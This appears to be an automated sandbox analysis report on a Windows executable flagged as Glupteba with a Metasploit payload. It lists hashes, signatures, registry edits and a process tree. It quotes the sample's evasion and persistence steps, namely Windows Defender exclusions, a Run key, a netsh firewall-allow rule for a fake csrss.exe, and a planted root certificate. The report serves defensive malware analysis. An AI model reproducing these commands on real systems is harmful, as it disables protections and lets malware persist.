Analysis
-
max time kernel
154s -
max time network
165s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
29-01-2023 18:32
Static task
static1
Behavioral task
behavioral1
Sample
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
Resource
win10v2004-20220812-en
General
-
Target
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe
-
Size
3.9MB
-
MD5
af424c205619015d4f10b6f0454400dc
-
SHA1
fd770c56d4825035ed4bd9aa396fa958d23c5b1d
-
SHA256
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1
-
SHA512
f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e
-
SSDEEP
98304:LarFN60kk2reyIYTHhIFUNCHLjqSSNH8WGb1:LGB8dhIFUNIYGb1
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/1720-56-0x00000000029B0000-0x00000000031B4000-memory.dmp family_glupteba behavioral1/memory/1720-57-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1720-58-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1720-59-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1976-63-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1976-66-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1976-72-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1472-74-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1472-76-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ThrobbingWind = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe -
Executes dropped EXE 1 IoCs
Processes:
csrss.exepid process 1472 csrss.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Loads dropped DLL 2 IoCs
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exepid process 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe -
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ThrobbingWind = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe = "0" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ThrobbingWind = "\"C:\\Windows\\rss\\csrss.exe\"" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 2 IoCs
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exedescription ioc process File opened for modification C:\Windows\rss 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe File created C:\Windows\rss\csrss.exe 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1964 schtasks.exe 1748 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
netsh.execsrss.exe5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe -
Processes:
csrss.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exepid process 1720 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.execsrss.exedescription pid process Token: SeDebugPrivilege 1720 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Token: SeImpersonatePrivilege 1720 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe Token: SeSystemEnvironmentPrivilege 1472 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.execmd.exedescription pid process target process PID 1976 wrote to memory of 1056 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe cmd.exe PID 1976 wrote to memory of 1056 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe cmd.exe PID 1976 wrote to memory of 1056 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe cmd.exe PID 1976 wrote to memory of 1056 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe cmd.exe PID 1056 wrote to memory of 840 1056 cmd.exe netsh.exe PID 1056 wrote to memory of 840 1056 cmd.exe netsh.exe PID 1056 wrote to memory of 840 1056 cmd.exe netsh.exe PID 1976 wrote to memory of 1472 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe csrss.exe PID 1976 wrote to memory of 1472 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe csrss.exe PID 1976 wrote to memory of 1472 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe csrss.exe PID 1976 wrote to memory of 1472 1976 5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe"C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe"C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
